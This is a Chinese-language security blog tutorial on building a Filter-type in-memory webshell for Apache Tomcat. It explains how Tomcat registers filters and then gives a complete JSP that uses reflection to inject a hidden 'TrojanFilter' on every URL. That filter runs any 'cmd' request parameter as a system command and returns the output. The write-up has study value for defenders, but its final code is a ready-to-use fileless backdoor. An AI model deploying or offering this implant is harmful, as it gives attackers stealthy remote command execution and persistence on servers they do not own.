Tomcat Servlet-api内存马#Filter型

前言

网上文章都是filter已经创建好了,然后关注创建过程中需要的关键参数。

组长的视频思路更偏向于filter的创建过程。这篇文章基于组长的思路编写。

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>Tomcat8-Servlet</artifactId>
<version>1.0-SNAPSHOT</version>
<name>Tomcat8-Servlet</name>
<packaging>war</packaging>

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.target>1.8</maven.compiler.target>
<maven.compiler.source>1.8</maven.compiler.source>
<junit.version>5.9.2</junit.version>
</properties>

<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-api</artifactId>
<version>${junit.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-engine</artifactId>
<version>${junit.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.100</version> //这里替换为自己的版本
</dependency>
</dependencies>

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-war-plugin</artifactId>
<version>3.3.2</version>
</plugin>
</plugins>
</build>
</project>

(tomcat的核心就是catalina,不导入它很多文件找不到)

Tomcat注册Filter流程

configureContext方法中,关于Filter的操作其实就这些

image-20240806130044069

1
2
3
4
5
6
7
8
9
10
for (FilterDef filter : webxml.getFilters().values()) {      //把xml文件读出来,类型为FilterDef 
if (filter.getAsyncSupported() == null) { //异步支持,不重要
filter.setAsyncSupported("false");
}
context.addFilterDef(filter); //添加到context里面
}

for (FilterMap filterMap : webxml.getFilterMappings()) { //把xml映射读出来,类型为FilterMap
context.addFilterMap(filterMap); //添加到context里面
}

其实就是对应xml文件的配置

image-20240806130524241

那我们注意实现context.addFilterDef(filter);context.addFilterMap(filterMap);就可以了


也就是说到目前为止想把恶意的Filter注册到tomcat需要实现的是

1.获取一个ServletContext对象

2.实现context.addFilterDef(filter) #将Filter实例化对象添加到StandardContext里面

3.实现context.addFilterMap(filterMap) #将Filter映射关系添加到StandardContext里面

注册恶意Filter到tomcat

FilterDef有对应的getter和setter方法 ,那这样子的话就可以直接用set方法来注册我们的恶意Filter

image-20240806130937461

FilterMap有对应的getter和setter方法 ,可以直接用set方法来注册我们的恶意Filter映射

image-20240806131119841

代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//动态注册Filter
//1.获取context
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);


//2.实现context.addFilterDef(filterDef);
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new TrojanFilter());
filterDef.setFilterName("TrojanFilter");
filterDef.setFilterClass(TrojanFilter.class.getName());
context.addFilterDef(filterDef);

//3.实现context.addFilterMap(filterMap);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("TrojanFilter");
filterMap.addURLPattern("/*");
context.addFilterMap(filterMap);

Filter内存马不能成功运行

但是会发现啊,这样子并不能成功运行,排查了好久。直到看到Y4师傅的文章提到了这个方法

org.apache.catalina.core.StandardContext#filterStart

image-20240806131609599

让我们在init打上断点,找到filterStart这个类

1
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue())

可以看到this就是StandardContextentry.getValue()就是FilterDef

也就是说这段代码把StandardContext和FilterDef封装成了ApplicationFilterConfig类型,名字叫filterConfig

image-20240806132047040

然后看到下一行

1
filterConfigs.put(name, filterConfig);

关注到filterConfigs,点进filterConfigs,其实是一个HashMap,把filter名字和刚刚创建的filterConfig,put进filterConfigs里面。而且更应该关注的是filterConfigs其实StandardContext的一个属性,直接用反射可以修改。

image-20240806132533105

所以现在需要实现的目标是

  1. ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue()); #将StandardContext和FilterDef封装成ApplicationFilterConfig类型
  2. filterConfigs.put(name, filterConfig); #将我们封装好的filterConfig put到filterConfigs里面
1
2
3
4
5
6
7
8
9
10
//封装filterDef为ApplicationFilterConfig类的对象
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef);

//在context对象的filterConfigs属性中添加上我们构造好的ApplicationFilterConfig类的对象
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);
filterConfigs.put("TrojanFilter",filterConfig);

最终代码

那总结一下实现filter内存马,总过有五步

1.获取一个ServletContext对象

2.实现context.addFilterDef(filter) #将Filter实例化对象添加到StandardContext里面

3.实现context.addFilterMap(filterMap) #将Filter映射关系添加到StandardContext里面
4.实现ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue()); #将StandardContext和FilterDef封装成ApplicationFilterConfig类型

5.实现filterConfigs.put(name, filterConfig); #将我们封装好的filterConfig put到filterConfigs里面

随后便是tomcat filter流程

  1. 首先是 invoke() 方法

层层调用管道,在最后一个管道的地方会创建一个链子,这个链子是 FilterChain,再对里头的 filter 进行一些相关的匹配。

  1. filterchain 拿出来之后

进行 doFilter() 工作,将请求交给对应的 pipeline 去处理,也就是进行一个 doFilter() —-> internalDoFilter() —-> doFilter();直到最后一个 filter 被调用。

  1. 最后一个 filter

最后一个 filter 会执行完 doFilter() 操作,随后会跳转到 Servlet.service() 这里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.*" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
public class TrojanFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK"));
PrintWriter printWriter = new PrintWriter(new OutputStreamWriter(response.getOutputStream(),"GBK"))) {

printWriter.write("<pre>");

String line;
while ((line = bufferedReader.readLine()) != null) {
printWriter.println(line);
}

printWriter.write("</pre>");
printWriter.flush();
} catch (IOException e) {
e.printStackTrace();
}
} else {
// 继续过滤链
chain.doFilter(request, response);
}
}


@Override
public void destroy() {

}
}
%>


<%
//动态注册Filter
//1.获取context
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);

//2.addFilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new TrojanFilter());
filterDef.setFilterName("TrojanFilter");
filterDef.setFilterClass(TrojanFilter.class.getName());
context.addFilterDef(filterDef);

//3.addFilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("TrojanFilter");
filterMap.addURLPattern("/*");
context.addFilterMap(filterMap);

//4.封装filterDef为ApplicationFilterConfig类的对象
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef);

//5.在context对象的filterConfigs属性中添加上我们构造好的ApplicationFilterConfig类的对象
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);
filterConfigs.put("TrojanFilter",filterConfig);

%>
</body>
</html>

参考链接

java内存马专题1-servlet内存马

Tomcat-Filter型内存马

Java内存马系列-03-Tomcat 之 Filter 型内存马


Tomcat Servlet-api内存马#Filter型
https://sp4rks3.github.io/2024/08/06/JAVA安全/内存马/Tomcat-Filter内存马/
作者
Sp4rks3
发布于
2024年8月6日
许可协议